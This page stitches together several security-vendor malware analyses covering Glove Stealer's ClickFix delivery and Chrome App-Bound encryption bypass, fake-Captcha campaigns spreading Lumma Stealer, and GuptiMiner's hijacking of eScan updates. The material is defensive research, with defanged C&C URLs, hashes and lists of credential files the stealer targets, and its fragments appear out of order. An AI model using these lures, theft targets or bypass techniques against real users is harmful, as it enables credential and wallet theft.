Clipboard Protection’s ability to track these stages showcases the role of real-time analysis in identifying and reducing emerging threats.&nbsp;<h2>Clipboard Protection: A Game Changer&nbsp;</h2>This discovery underscores the importance of proactive features like our in an ever-evolving threat landscape. Cybercriminals are continuously adapting, finding new ways to bypass defenses and deliver their malicious payloads. Our Clipboard Protection feature was designed to analyze content copied from websites in real time, alerting users to potential threats like <a href="https://us.norton.com/blog/emerging-threats/threat-report-q3-2024" target="_blank" rel="noreferrer noopener">ClickFix and FakeCaptcha</a> attacks. By staying ahead of attackers with innovative solutions like this, we not only detect and prevent attacks but also gather valuable insights into emerging tactics, enabling us to anticipate and counter new threats effectively.&nbsp;As cybercriminals continue to adapt their tactics, relying on sophisticated tools like AI to refine and distribute malicious payloads, solutions like Clipboard Protection play a pivotal role in staying ahead of these threats. Tracking the evolution of attacks and intercepting them before they can cause harm can ensure protection for users and systems in this complex digital landscape.&nbsp;&nbsp;<h2>Indicators of Compromise (IoCs)&nbsp;</h2>SHA256&nbsp;46114741a409cdc05b10152cd469dd724dd44e1e61155ab47de26799c96d298f&nbsp;25dbd7505d600dbe024f5491a61c9a1ee16b81c151f7e8fd633d7144fe045106&nbsp;cd341e404f40bd826e4e3b5a60db28161a70a29a9fb360c74884c6254b0031a8&nbsp;URL&nbsp;https://pasteco[.]com/t2yc80yb&nbsp;

How ChatGPT Is Aiding Cybercriminals in Crafting Advanced Malware Scripts

Cybercriminals actively leveraging ChatGPT to create and refine malicious payloads

<h2>Key points:&nbsp;</h2><ul><li>Glove Stealer is an information stealer written in .NET, stealing sensitive data from wide range of browser extensions as well as locally installed software&nbsp;</li><li>It focuses on browser data (cookies, autofill, …), cryptocurrency wallets, 2FA authenticators, password managers, email clients, and more&nbsp;</li><li>Glove Stealer uses a dedicated supporting module to bypass App-Bound encryption by using IElevator service&nbsp;</li><li>While observed being spread via phishing emails resembling ClickFix, it itself also tries to mimic a fixing tool which users might use during troubleshooting problems they might have encountered&nbsp;</li></ul><h2>Introduction&nbsp;</h2>We’ve been closely observing various social engineering tactics, such as ClickFix and FakeCaptcha, for quite some time now. Tactics like these deceive users into thinking they are helping themselves, but by following the instructions from the attackers, they are actually inadvertently infecting their own devices. The steps the users are led to take commonly involve copying a malicious script that’s typically copied on background without user noticing. The instructions then prompt the user to paste and execute it via a PowerShell terminal or a Run prompt on Windows, displayed by a Win+R key combination.&nbsp;In a recent campaign using traditional phishing emails, we observed these scripts to distribute an interesting information stealer written in .NET, which we’ve named Glove.&nbsp;The stealer is relatively simple and contains minimal obfuscation or protection mechanisms, indicating it might still be in an early development phase. However, it uses a recent method to bypass App-Bound Encryption which was <a href="https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html" target="_blank" rel="noreferrer noopener">introduced by Google</a> in Chrome 127. This bypass method involves using an IElevator service and was publicly <a href="https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption" target="_blank" rel="noreferrer noopener">disclosed by Alexander Hagenah</a> on Oct. 27, 2024.&nbsp;Other than stealing private data from browsers, it also tries to exfiltrate sensitive information from a list of 280 browser extensions and more than 80 locally installed applications. These extensions and applications typically involve cryptocurrency wallets, 2FA authenticators, password managers, email clients and others.&nbsp;<h2>Technical analysis&nbsp;</h2><h3>Distribution&nbsp;</h3>Even though ClickFix can take many forms, including inserting the crafted fake error messages into compromised websites or attacker-hosted pages, this campaign started with a user receiving a phishing email. Along with the e-mail, typically an attachment is present in HTML format. An HTML page like this contains typical ClickFix motives, showing a crafted fake error message stating that some content couldn’t be accessed properly, then advising the user how to fix it. By following the instructions, the user copies a malicious script to their clipboard and, after executing it in a terminal or the Run prompt, they unintentionally infect their own system. Below is an example of such an HTML page displayed when the user opens the attachment.&nbsp;

Under the hood, the script copied and executed by the user invokes a PowerShell command encoded by Base64. However, as is common in these campaigns, it’s followed by a couple of consecutive intermediary scripts.&nbsp;

After going through additional intermediary scripts, we get to a point where the script is calling and displaying an additional message to the user:&nbsp;

Following the messaging of the OneDrive example above, it attempts to appear as it should, as if it is fixing the DNS configuration. However, this is false, as there is no issue to begin with—the problem was artificially introduced to the user. The malicious script is contacting the attacker’s C&amp;C server to obtain Glove Stealer, ultimately leading the user’s device to become infected.&nbsp;In this specific case, the script downloads the Glove Stealer from this address below:&nbsp;https://master.volt-texs[.]online/api/c4slhp3l&nbsp;The payload is downloaded from the server as a text from the HTML page, and an analyst’s eye can immediately recognize the beginning of a PE file, just Base64 encoded.&nbsp;

<h2>Putting the gloves on to bypass and steal&nbsp;</h2>Naturally, this payload gets decoded and executed. Upon execution, Glove Stealer follows the whole narrative of ClickFix once again by displaying a terminal window with a text “Wait Search problems…”.&nbsp;

Along with the authors likely lacking some English skills, the “o” in the word “problems” is also a homoglyph, which is a character that looks the same (or almost identical) to an original one, yet with a different binary representation. However, this might not get properly interpreted in some terminal or environment configurations, as can be seen in our testing environment below.&nbsp;

The malware then pings another C&amp;C server, using a randomly generated string (a limited set of upper-cased letters and numbers) in the path, with the ID set to 0 to indicate it was successfully executed on the victim’s infected device:&nbsp;https://master.hdsjfkgsadoghdsiougds[.]space/mother/RANDOM_STRING?id=0&nbsp;This address is used multiple times during the malware execution to indicate successfully passing certain stages and submitting other data, such as encryption keys. For example, with an ID set to 1, it indicates that the initial malware configuration is set properly on the device.&nbsp;Before the data exfiltration takes place, Glove Stealer terminates any (browser) processes which contain any of the substrings mentioned below in the process name:&nbsp;<ul><li>chrome&nbsp;</li><li>yandex&nbsp;</li><li>browser&nbsp;</li><li>msedge&nbsp;</li><li>opera&nbsp;</li><li>brave&nbsp;</li><li>chromium&nbsp;</li><li>CryptoTab&nbsp;</li></ul>This is also being done in an infinite loop every 55 milliseconds and the malware steals data from other browsers, like Firefox.&nbsp;<h2>The exfiltration and data structure&nbsp;</h2>Glove Stealer parses and stores the information obtained from browsers into dedicated text files stored in the following directory structure:&nbsp;<ul><li>\AllPws.txt&nbsp;</li><li>\INFS.txt&nbsp;</li><li>\Cookies\&nbsp;</li><li>\Autofill\&nbsp;</li><li>\Restore\&nbsp;</li><li>\OTP\&nbsp;</li><li>\Wallets\&nbsp;</li></ul>All folders and files used to store the stolen data are prefixed with a path that represents a directory that contains the user's most recently used documents (via Environment.SpecialFolder.Recent), followed by an MD5 hash of from the combination of computer’s name and a SerialNumber of the device’s disk drive.&nbsp;The files stored in the folders which contain the stolen data from browser are labeled with the browser name and a possible postfix. For example, in case of cookies, this postfix would be the name of the exfiltrated browser profile (Default, Profile 1, Profile 2, …). As an example, the location and the name for Chrome cookies could be stored as follows:&nbsp;%APPDATA%\Microsoft\Windows\Recent\MD5_HASH\Cookies\Chrome_Default.txt&nbsp;The file INFS.txt contains a fingerprint of the device, including details like the OS, computer and username, maximum available RAM, language, CPU information and more. The remaining files stored in the dedicated directories don’t deviate from the used folder names and file names mentioned above.&nbsp;The cookies, wallets and other possible data are not obtained just from the browsers, but Glove Stealer is using vast lists of predefined locally installed applications and browser extensions, then tries to search for these and exfiltrate valuable data from them. Since the lists are too exhaustive to mention in the text (84 defined locations for the locally installed apps and 280 browser extensions), an interested reader can find these on our <a href="https://github.com/avast/ioc/tree/master/GloveStealer" target="_blank" rel="noreferrer noopener">GitHub. </a>To name here at least part of the scope, the Glove Stealer focuses on:&nbsp;<ul><li>Vast variety of cryptocurrency wallet browser extensions&nbsp;</li><li>2FA authenticators, including Google Authenticator, Microsoft, Aegis and LastPass, to name a few&nbsp;</li><li>Password managers, including Bitwarden, LastPass and KeePass, to name a few&nbsp;</li><li>Email clients like Thunderbird&nbsp;</li><li>Gaming platforms like Steam and Battle.net&nbsp;</li></ul>Data in which the stealer is interested in can be represented by searching for this list (not exhaustive) of files and locations for each of the app:&nbsp;<ul><li>\Network\Cookies&nbsp;</li><li>\Login Data&nbsp;</li><li>\Web Data&nbsp;</li><li>\Local Extension Settings&nbsp;</li><li>\Sync Extension Settings&nbsp;</li><li>\Local State&nbsp;</li><li>\LocalPrefs.json&nbsp;</li></ul>After the stealer is finished with data harvesting, the entire directory structure is then packed using FileZip and encrypted by 3DES in ECB mode and sent to a C&amp;C server. The key for the 3DES cipher is generated on the fly as a string value represented by DateTime.Now.Ticks string hashed using MD5.&nbsp;The ZIP file, representing the exfiltration package, is stored in the Recent directory with the name of MD5_HASH.xexe (the hash is still the computer’s name + SerialNumber). Immediately after it is encrypted using 3DES, it is renamed to MD5_HASHXE, where XE is an appended substring.&nbsp;To be able to decrypt the package, the attackers are sending this key in parameters using the ping C&amp;C server once again. For this, the ID parameter is set to 2 and the MD5 hash used as 3DES key immediately follows:&nbsp;https://master.hdsjfkgsadoghdsiougds[.]space/mother/RANDOM_STRING?id=2&amp;ids=MD5_key&nbsp;However, the exfiltrated package is sent to the other C&amp;C server as a POST request, with the data encoded by Base64:&nbsp;https://master.volt-texs[.]online/index2.php&nbsp;For the attackers to stay safe from losing the key, they also back-up the 3DES key here as well, using the non-hashed timestamp in the POST request.&nbsp;<h2>Supporting module for App-Bound encryption bypass&nbsp;</h2>In order to use the stolen data from Chrome, Glove Stealer needs to bypass the App-Bound encryption. To do this, it requests the original server once again to retrieve a .NET payload to do the job.&nbsp;This payload is a supporting module, which is rather small, and it is dedicated to bypassing the App-Bound encryption using IElevator service.&nbsp;https://master.volt-texs[.]online/postovoy/RANDOM_STRING&nbsp;Named as zagent.exe, this payload is downloaded and Base64-decoded into Chrome’s Program Files directory: %PROGRAMFILES%\Google\Chrome\Application\zagent.exe&nbsp;After execution, the module is using a hardcoded "app_bound_encrypted_key":" string for searching and retrieving the App-Bound encryption key stored in the local state file: %LOCALAPPDATA%\Google\Chrome\User Data\Local State&nbsp;&nbsp;

After the key is retrieved, it is Base64-decoded and stored in a dedicated file called chromekey.txt so it can be also accessed by Glove Stealer itself. After that, the C&amp;C server is pinged to indicate the bypass was successful (ID=4).&nbsp;Note that, since App-Bound encryption also performs a path validation for the location of the caller processes, this supporting module must be placed in the Chrome’s Program Files directory tree. As a result, Glove Stealer needs to acquire local admin privileges first to use this supporting module.&nbsp;<h2>Conclusion&nbsp;</h2>In this analysis, we described Glove Stealer, an information stealer observed in recent phishing campaigns that leverage social engineering tactics, such as ClickFix. In these tactics, the attackers aim to trick users into thinking they are helping themselves, when in reality, they are inadvertently infecting their devices by following the instructions provided by the attackers.&nbsp;Glove Stealer is capable of stealing various kind of information from many browsers, including Chrome, Firefox, Edge, Brave and others. To achieve this, Glove Stealer uses a dedicated supporting module that leverages IElevator service to bypass App-Bound encryption. Additionally, it steals sensitive data from two extensive lists: one representing locally installed applications and the other representing browser extensions. These include cryptocurrency wallets extensions, 2FA authenticators, password managers, email clients and more.&nbsp;<h3>Indicators of Compromise (IoCs)&nbsp;</h3>For more detailed list of IoCs, including the lists of locally installed apps and browser extensions, please visit our <a href="https://github.com/avast/ioc/tree/master/GloveStealer" target="_blank" rel="noreferrer noopener">GitHub</a>.&nbsp;Original script copied in clipboard:&nbsp; 2bf6fab237ab58ae6cfe78f9a61ab6dcaf55f437cb7a77878e2e6aae3b208e80&nbsp;Glove Stealer&nbsp;56da496329d54587c31119d8878a7831a9814a92839aa6a9873ceeb91575b11a&nbsp;Supporting module for App-Bound encryption bypass:&nbsp;86ad4082e086a0b9a22dc91a16d0d9be38232975ab4d3d035224fb6d6cc7a44c&nbsp;C&amp;C&nbsp;master.hdsjfkgsadoghdsiougds[.]space&nbsp;master.volt-texs[.]online&nbsp;

A .NET malware, bypasses Chrome's App-Bound Encryption, stealing data from browsers, crypto wallets, 2FA authenticators

Glove Stealer: Leveraging IElevator to Bypass App-Bound Encryption & Steal Sensitive Data

Over the past four weeks, we've protected more than 1.4 million customers against attempts to distribute malware through various fake Captcha campaigns, highlighting the sheer scale and persistence of these attacks. The primary malware being distributed, Lumma Stealer, poses a significant threat to users as it is designed to steal sensitive information, such as login credentials, cryptocurrency wallets, and other valuable data. This makes it a dangerous tool in the hands of cybercriminals, who can use it for identity theft, financial fraud, and further attacks.&nbsp;The latest campaign as part of these Captcha-style attacks launched just days ago and begins with a phishing email, which falsely claims to be from the GitHub Security Team, alerting the recipient to a security vulnerability in their repository. The email directs the user to a malicious website, as shown in the first image below.

Once the user clicks the link, they are redirected to a fake Captcha screen that prompts them to verify their identity by clicking on a button:&nbsp;

This action copies a malicious script to the user’s clipboard, followed by instructions on how to execute it. These instructions inadvertently lead the user to run the script, thereby infecting their own system. The instructions may suggest using the system's command line or, as in this case, the Win+R prompt:&nbsp;

The provided script, which is a malicious PowerShell command, contacts a command-and-control (C&amp;C) server to download additional malicious payloads. The primary objective is to download and execute the Lumma Stealer or an intermediary loader that eventually drops Lumma Stealer on the victim’s system.&nbsp;Under the hood, the button functionality is enabled by a small JavaScript that ensures copying of the PowerShell command into the user’s clipboard via the “I’m not a robot” button:&nbsp;

After the user pastes the command into their command line or the Win+R prompt, the script will download and execute additional PowerShell script from https://github-scanner[.]com/download.txt:&nbsp;

This script contacts the C&amp;C server once again and downloads an executable file called l6E.exe. This is the final Lumma Stealer payload which is downloaded to a Temp folder under the name SysSetup.exe, and executed.&nbsp;&nbsp;<h5>Geographical Spread of Fake Captcha Campaigns&nbsp;</h5>For a long time, we have been closely monitoring various fake Captcha campaigns. In the past four weeks alone, we have protected over 1.4 million unique users, highlighting the massive and widespread impact of these attacks. The heatmap below shows the regions most affected by fake Captcha attacks during this period. The 5 most affected countries are Italy, Argentina, France, Spain and Brazil.&nbsp;

<h5>Indicators of Compromise (IoCs)&nbsp;</h5>C&amp;C:https://github-scanner[.]comPowerShell script:10d4e15b63a07368299f2245661d7a4626cd1a91a9950a3cbed5b4276d2dc31fLumma Stealer:d737637ee5f121d11a6f3295bf0d51b06218812b5ec04fe9ea484921e905a207

<h5>Protecting Yourself&nbsp;</h5>We recommend the following tips to help protect yourselves from Captcha campaigns:&nbsp;<ul><li>Be Skeptical of Unsolicited Emails: Always verify the authenticity of unexpected emails, especially those prompting you to take immediate action on your repositories.&nbsp;</li><li>Do Not Execute Unknown Scripts: Never run scripts or commands from untrusted sources. Verify the script's content and origin before executing it.&nbsp;</li><li>Enable Two-Factor Authentication (2FA): Adding an extra layer of security can help protect your accounts even if your credentials are compromised by information stealers like Lumma Stealer.&nbsp;</li><li>Use a Reputable Antivirus Solution: Make sure you have a reliable antivirus solution, such as those offered by Gen (Avast, AVG, Avira, or Norton), installed and regularly updated on your devices. These solutions provide essential protection against malware like Lumma Stealer, detecting and blocking malicious scripts and payloads before they can cause any harm. Even if you accidentally interact with a phishing attempt, having a trusted security solution in place can act as a crucial safety net.&nbsp;</li></ul>&nbsp;<h5>Conclusion&nbsp;</h5>We are actively monitoring these attacks and will continue to keep you updated with the latest developments. Our team is committed to staying ahead of these threats, and if there are any new updates, we will share them here and in&nbsp; X (<a href="https://x.com/GenThreatLabs">https://x.com/GenThreatLabs</a>). Staying informed and taking proactive steps to protect yourself are key to staying safe online.&nbsp;For more information about recent campaigns also distributing Lumma Stealer, you can refer to our previous analysis <a href="https://www.gendigital.com/blog/news/innovation/lumma-stealer-github">here</a>. Stay safe and informed!&nbsp;

How Fake Captcha Campaigns are Distributing Lumma Stealer

Global Surge in Fake Captcha Attacks 

Senior Malware Researcher

<h2>Key Points</h2><ul><li>Avast discovered and analyzed a malware campaign hijacking an eScan antivirus update mechanism to distribute backdoors and coinminers</li><li>Avast disclosed the vulnerability to both eScan antivirus and India CERT. On 2023-07-31, eScan confirmed that the issue was fixed and successfully resolved</li><li>The campaign was orchestrated by a threat actor with possible ties to Kimsuky</li><li>Two different types of backdoors have been discovered, targeting large corporate networks</li><li>The final payload distributed by GuptiMiner was also XMRig</li></ul><h2>Introduction</h2>We’ve been tracking a curious one here. Firstly, GuptiMiner is a highly sophisticated threat that uses an interesting infection chain along with a couple of techniques that include performing DNS requests to the attacker’s DNS servers, performing sideloading, extracting payloads from innocent-looking images, signing its payloads with a custom trusted root anchor certification authority, among others.The main objective of GuptiMiner is to distribute backdoors within big corporate networks. We’ve encountered two different variants of these backdoors: The first is an enhanced build of PuTTY Link, providing SMB scanning of the local network and enabling lateral movement over the network to potentially vulnerable Windows 7 and Windows Server 2008 systems on the network. The second backdoor is multi-modular, accepting commands from the attacker to install more modules as well as focusing on scanning for stored private keys and cryptowallets on the local system.Interestingly, GuptiMiner also distributes XMRig on the infected devices, which is a bit unexpected for such a thought-through operation.The actors behind GuptiMiner have been capitalizing on an insecurity within an update mechanism of Indian antivirus vendor eScan to distribute the malware by performing a man-in-the-middle attack. We disclosed this security vulnerability to both eScan and the India CERT and received confirmation on 2023-07-31 from eScan that the issue was fixed and successfully resolved.GuptiMiner is a long-standing malware, with traces of it dating back to 2018 though it is likely that it is even older. We have also found that GuptiMiner has possible ties to Kimsuky, a notorious North Korean APT group, by observing similarities between Kimsuky keylogger and parts of the GuptiMiner operation. In this analysis, we will cover the GuptiMiner’s features and its evolution over time. We will also denote in which samples the particular features are contained or introduced to support the overall comprehension in the vast range of IoCs.It is also important to note that since the users rarely install more than one AV on their machine, we may have limited visibility into GuptiMiner’s activity and its overall scope. Because of this, we might be looking only at the tip of the iceberg and the true scope of the entire operation may still be subject to discovery.<h2>Infection Chain</h2>To illustrate the complexity of the whole infection, we’ve provided a flow chart containing all parts of the chain. Note that some of the used filenames and/or workflows can slightly vary depending on the specific version of GuptiMiner, but the flowchart below illustrates the overall process.The whole process starts with eScan requesting an update from the update server where an unknown MitM intercepts the download and swaps the update package with a malicious one. Then, eScan unpacks and loads the package and a DLL is sideloaded by eScan clean binaries. This DLL enables the rest of the chain, following with multiple shellcodes and intermediary PE loaders.Resulted GuptiMiner consists of using XMRig on the infected machine as well as introducing backdoors which are activated when deployed in large corporate networks.

<h2>Evolution and Timelines</h2>GuptiMiner has been active since at least 2018. Over the years, the developers behind it have improved the malware significantly, bringing new features to the table. We will describe the specific features in detail in respective subsections.With that said, we also wanted to illustrate the significant IoCs in a timeline representation, how they changed over time – focusing on mutexes, PDBs, and used domains. These timelines were created based on scanning for the IoCs over a large sample dataset, taking the first and last compilation timestamps of the samples, then forming the intervals. Note that the scanned dataset is larger than listed IoCs in the <a href="https://decoded.avast.io/janrubin/guptiminer-hijacking-antivirus-updates-for-distributing-backdoors-and-casual-mining/#ioc">IoC section</a>. For more detailed list of IoCs, please visit our <a href="https://github.com/avast/ioc/tree/master/GuptiMiner">GitHub</a>.<h3 id="domains-in-time">Domains in Time</h3>In general, GuptiMiner uses the following types of domains during its operations:&nbsp;<ul><li><code>Malicious DNS</code> – GuptiMiner hosts their own DNS servers for serving true destination domain addresses of C&amp;C servers via DNS TXT responses </li><li><code>Requested domains</code> – Domains for which the malware queries the DNS servers for </li><li><code>PNG download</code> – Servers for downloading payloads in the form of PNG files. These PNG files are valid images (a logo of T-Mobile) that contain appended shellcodes at their end </li><li><code>Config mining pool</code> – GuptiMiner contains two different configurations of mining pools. One is hardcoded directly in the XMRig config which is denoted in this group </li><li><code>Modified mining pool</code> – GuptiMiner has the ability to modify the pre-defined mining pools which is denoted in this group </li><li><code>Final C&amp;C</code> – Domains that are used in the last backdoor stage of GuptiMiner, providing additional malware capabilities in the backdoored systems </li><li><code>Other</code> – Domains serving different purposes, e.g., used in scripts&nbsp;</li></ul>Note that as the malware connects to the malicious DNS servers directly, the DNS protocol is completely separated from the DNS network. Thus, no legitimate DNS server will ever see the traffic from this malware. The DNS protocol is used here as a functional equivalent of telnet. Because of this, this technique is not a DNS spoofing since spoofing traditionally happens on the DNS network.&nbsp;Furthermore, the fact that the servers for which GuptiMiner asks for in the <code>Requested domain</code> category actually exist is purely a coincidence, or rather a network obfuscation to confuse network monitoring tools and analysts.

From this timeline, it is apparent that authors behind GuptiMiner realize the correct setup of their DNS servers is crucial for the whole chain to work properly. Because of this, we can observe the biggest rotation and shorter timeframes are present in the <code>Malicious DNS</code> group.&nbsp;Furthermore, since domains in the <code>Requested domain</code> group are irrelevant (at least from the technical viewpoint), we can notice that the authors are reusing the same domain names for longer periods of time.&nbsp;<h3 id="mutexes-in-time">Mutexes in Time&nbsp;</h3>Mutexes help ensure correct execution flow of a software and malware authors often use these named objects for the same purpose. Since 2018, GuptiMiner has changed its mutexes multiple times. Most significantly, we can notice a change since 2021 where the authors changed the mutexes to reflect the compilation/distribution dates of their new versions.&nbsp;

An attentive reader can likely observe two takeaways: The first is the apparent outliers in usage of <code>MIVOD_6</code>, <code>SLDV15</code>, <code>SLDV13</code>, and <code>Global\Wed Jun&nbsp; 2 09:43:03 2021</code>. According to our data, these mutexes were truly reused multiple times in different builds, creating larger timeframes than expected.&nbsp;Another point is the re-introduction of <code>PROCESS_</code> mutex near the end of last year. At this time, the authors reintroduced the mutex with the string in UTF-16 encoding, which we noted separately.<h3>PDBs in Time&nbsp;</h3>With regard to debugging symbols, the authors of GuptiMiner left multiple PDB paths in their binaries. Most of the time, they contain strings like <code>MainWork</code>, <code>Projects</code>, etc.&nbsp;

<h2 id="installation-process">Stage 0 – Installation Process&nbsp;</h2><h3>Intercepting the Updates</h3>Everyone should update their software, right? Usually, the individual either downloads the new version manually from the official vendor’s site, or – preferably – the software itself performs the update automatically without much thought or action from the user. But what happens when someone is able to hijack this automatic process?&nbsp;Our investigation started as we began to observe some of our users were receiving unusual responses from otherwise legitimate requests, for example on:&nbsp;<code>http://update3[.]mwti[.]net/pub/update/updll3.dlz</code>This is truly a legitimate URL to download the <code>updll3.dlz</code> file which is, under normal circumstances, a legitimate archive containing the update of the eScan antivirus. However, we started seeing suspicious behavior on some of our clients, originating exactly from URLs like this.&nbsp;What we uncovered was that the actors behind GuptiMiner were performing man-in-the-middle (MitM) to download an infected installer on the victim’s PC, instead of the update. Unfortunately, we currently don’t have information on how the MitM was performed. We assume that some kind of pre-infection had to be present on the victim’s device or their network, causing the MitM.&nbsp;<h3>Update Package</h3><code>c3122448ae3b21ac2431d8fd523451ff25de7f6e399ff013d6fa6953a7998fa3</code> <code>(version.dll, 2018-04-19 09:47:41 UTC)</code>Throughout the analysis, we will try to describe not just the flow of the infection chain, malware techniques, and functionalities of the stages, but we will also focus on different versions, describing how the malware authors developed and changed GuptiMiner over time.The first GuptiMiner sample that we were able to find was compiled on Tuesday, 2018-04-19 09:47:41 and it was uploaded to VirusTotal the day after from India, followed by an upload from Germany: <code>c3122448ae3b21ac2431d8fd523451ff25de7f6e399ff013d6fa6953a7998fa3</code>

This file was named <code>C:\Program Files\eScan\VERSION.DLL</code> which points out the target audience is truly eScan users and it comes from an update package downloaded by the AV.&nbsp;Even though this version lacked several features present in the newer samples, the installation process is still the same, as follows:&nbsp;<ol><li>The eScan updater triggers the update </li><li>The downloaded package file is replaced with a malicious one on the wire because of a missing HTTPS encryption (MitM is performed) </li><li>A malicious package <code>updll62.dlz</code> is downloaded and unpacked by eScan updater </li><li>The contents of the package contain a malicious DLL (usually called <code>version.dll</code>) that is sideloaded by eScan. Because of the sideloading, the DLL runs with the same privileges as the source process – eScan – and it is loaded next time eScan runs, usually after a system restart </li><li>If a mutex is not present in the system (depends on the version, e.g. <code>Mutex_ONLY_ME_V1</code>), the malware searches for <code>services.exe</code> process and injects its next stage into the first one it can find </li><li>Cleanup is performed, removing the update package&nbsp;</li></ol>The malicious DLL contains additional functions which are not present in the clean one. Thankfully the names are very verbose, so no analysis was required for most of them. The list of the functions can be seen below.

Some functions, however, are unique. For example, the function <code>X64Call</code> provides Heaven’s gate, i.e., it is a helper function for running x64 code inside a 32-bit process on a 64-bit system. The malware needs this to be able to run the injected shellcode depending on the OS version and thus the bitness of the <code>services.exe</code> process.&nbsp;

To keep the original eScan functionality intact, the malicious <code>version.dll</code> also needs to handle the original legacy <code>version.dll</code> functionality. This is done by forwarding all the exported functions from the original DLL. When a call of the legacy DLL function is identified, GuptiMiner resolves the original function and calls it afterwards.&nbsp;

<h3>Injected Shellcode in services.exe&nbsp;</h3>After the shellcode is injected into <code>services.exe</code>, it serves as a loader of the next stage. This is done by reading an embedded PE file in a plaintext form.&nbsp;

This PE file is loaded by standard means, but additionally, the shellcode also destroys the PE’s DOS header and runs it by calling its entry point, as well as it removes the embedded PE from the original location memory altogether.&nbsp;<h4>Command Line Manipulation&nbsp;</h4>Across the entire GuptiMiner infection chain, every shellcode which is loading and injecting PE files also manipulates the command line of the current process. This is done by manipulating the result of <code>GetCommandLineA/W</code> which changes the resulted command line displayed for example in Task Manager.&nbsp;

After inspecting this functionality, we believe it either doesn’t work as the authors intended or we don’t understand its usage. Long story short, the command line is changed in such a way that everything before the first <code>--parameter</code> is skipped, and this parameter is then appended to the process name.&nbsp;To illustrate this, we could take a command: <code>notepad.exe param1 --XX param2</code> which will be transformed into: <code>notepad.exeXX param2</code>&nbsp;However, we have not seen a usage like <code>power --shell.exe param1 param2</code> that would result into: <code>powershell.exe param1 param2</code> nor have we seen any concealment of parameters (like usernames and passwords for XMRig), a type of behavior we would anticipate when encountering something like this. In either case, this functionality is obfuscating the command line appearance, which is worth mentioning. An interested reader can play around with the functionality at the awesome godbolt.org <a href="https://godbolt.org/#z:OYLghAFBqd5QCxAYwPYBMCmBRdBLAF1QCcAaPECAMzwBtMA7AQwFtMQByARg9KtQYEAysib0QXACx8BBAKoBnTAAUAHpwAMvAFYTStJg1DIApACYAQuYukl9ZATwDKjdAGFUtAK4sGIM6SuADJ4DJgAcj4ARpjEIJIAzKQADqgKhE4MHt6%2B/ilpGQIhYZEsMXGJtpj2jgJCBEzEBNk%2BfgF2mA6Z9Y0ExRHRsfFJCg1NLbntY32hA2VDiQCUtqhexMjsHOYJocjeWADUJgluo8ShwAB0CMfYJhoAgtu7%2B5hHJ2wsJACe17f3TzMOwYey8h2OpwI%2BFQfwSd0eANCBAOBxYhjwyS8BgImAA%2BoZ0nhcWgWGiGOhcbRZhBkAhGgcAFQkskUqlhRYAkwAdisjxRSIOeGOFgOAHpRUcAKwWYgKZLWMwaG6SgAiUplUWSAFozAAOZUqgH8wQHGiygi4uVMDb4qg44i45LEVAbBQKXHMNjCsUSkzS2XyyxmSQG9XETU6kN%2Bw18wUms2jXHoJgKG4JEXisNyhX66NhiOKg1Go4I2PFhMW5Op95qjTC8t4c2W5LWvFMO2xR3O13uz1vY61%2Bux/jEA4QQU1g519MHZmGVmzP0WIWq73Wax4A4css84sozNarV7wVUMcHMBgCtJlMII5mABs5nvs9QpPnlMX0pXaoHA/PHC1MAODvR8HxfN9yQ/MIl03awDi4PNfwSNUgMA4DtweFEsNNRtEyrW8/yFdNjzwU9xwvK8rRtdt7S7F1MDdD1WH7B8n3AlkoMwGDEOQv8gP/EC2KZV8OLZN4Lz4rYzDMIDjxRbk3AU89L1wi0qLbDsHSdejGL7QSwLnSCxO41Ua0kgSnzYwyF2gr8Di1eCeMNZD/3MGTgMssDhIgmz%2B14lzZOk/iMOw7leUw7CcKbdTbVo7SeyYthJyI8LQq5GMIu5DL%2BTI5Sr3wo4uUUoq8tU5tW1izt4oY3tmK3Y9iEwAg1gYeCgiCIcIs%2BL4ADdMAgY8n2szil0oltqM0uiEr7aNSEGh9huM6V8pvO8RTMWaSPsqLEximiqu7GrEreBz7w5YjY0a5riFarh2s6rLOUeAU0VCCAkVIWc6WIBkGQwsLj1pelkBYdAlycu8zAYVAcRbdBLkwVQ3hbYhWAULh7K1AANLGDhRtGNslNwGDczrsKdJEqAG6TzElBQ3M%2BkH0HO1KsLJDEsSYHF8QYQliRE98xJpUGWePCnBCptzD1uO86b9YmGdnEWHtLJ50o4ZZaE4SVeD8DgtFIVBOEUyw4IUVZ1hYhIeFIAhNA15YAGsQASBJLldj3Pa9%2B99E4SRdftw3OF4BQQA0W37eWOBYCQElkjoWJyEoOOE7iYAuASAIaFoe1Q4gKJA6iUJGm%2BTgbaL5hiG%2BAB5KJtE6O3uF4ZlGAIauGFoUv9d4LAoi8YA3DEWhQ6b0gsDJYBxG7sfGwbvA%2BpHg3Ec6LwcUDpFqkDqkolRquPCwQOCHOFgy41vgDGABQADU8EwAB3avkkYU%2BZEEEQxHYKRX/kJQ1ED3QuD6EMMYdclh9B4CiKHSAyxUDJFqLzTgWpq5mF4KgPqxBzhYCgRAZYHQujOAgK4CYfhAHBFmKUcoehUjpHgcQqhBR4H9AoUMQBeD4E9HGJ4Voeg2HdGmEwwYcRWHTDocI3oAj5hCNwRbDYEhNbawDtPI2wFVC6nvFqe8kgDjAGQMgeCbszBjlwIQEgd5raLF4I3LQiwnYuzdl7BxHsfZaw4P7UgesDbKJDmHCO3co4wEQCAVYBBMQECTjSV88d6DEHCMxTgqj1GaO0bo/RlwUGBHwEQTBeh%2BBv1EOIL%2BuSf4qHUNPABpA76o2SKfeRHAdbuMDso6uq9QkHFQKeBJGitE6L0RnNJY4PAsCibEMxXALG%2BOsbY127tHEON9q4xRnjg62B8VYh28z0keNQcstZNjSDoPSM4SQQA%3D">here</a>.&nbsp;<h3 id="code-virtualization">Code Virtualization&nbsp;</h3><code>7a1554fe1c504786402d97edecc10c3aa12bd6b7b7b101cfc7a009ae88dd99c6</code> <code>(version.dll, 2018-06-12 03:30:01)&nbsp;</code>Another version with a mutex <code>ONLY_ME_V3</code> introduced a code virtualization. This can be observed by an additional section in the PE file called <code>.v_lizer</code>. This section was also renamed a few times in later builds.

